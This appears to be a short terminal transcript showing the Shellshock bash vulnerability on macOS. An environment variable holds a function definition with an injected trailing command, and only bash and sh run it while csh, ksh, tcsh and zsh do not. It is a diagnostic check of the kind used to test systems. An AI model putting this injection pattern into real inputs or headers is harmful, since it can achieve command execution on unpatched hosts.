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It's a bash thing
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| ~ export x="() { :;}; echo vulnerable" | |
| ~ bash -c "echo hi" | |
| vulnerable | |
| hi | |
| ~ sh -c "echo hi" | |
| vulnerable | |
| hi | |
| ~ /bin/sh --version | |
| GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) | |
| Copyright (C) 2007 Free Software Foundation, Inc. | |
| ~ csh -c "echo hi" | |
| hi | |
| ~ ksh -c "echo hi" | |
| hi | |
| ~ tcsh -c "echo hi" | |
| hi | |
| ~ zsh -c "echo hi" | |
| hi | |
| ~ |
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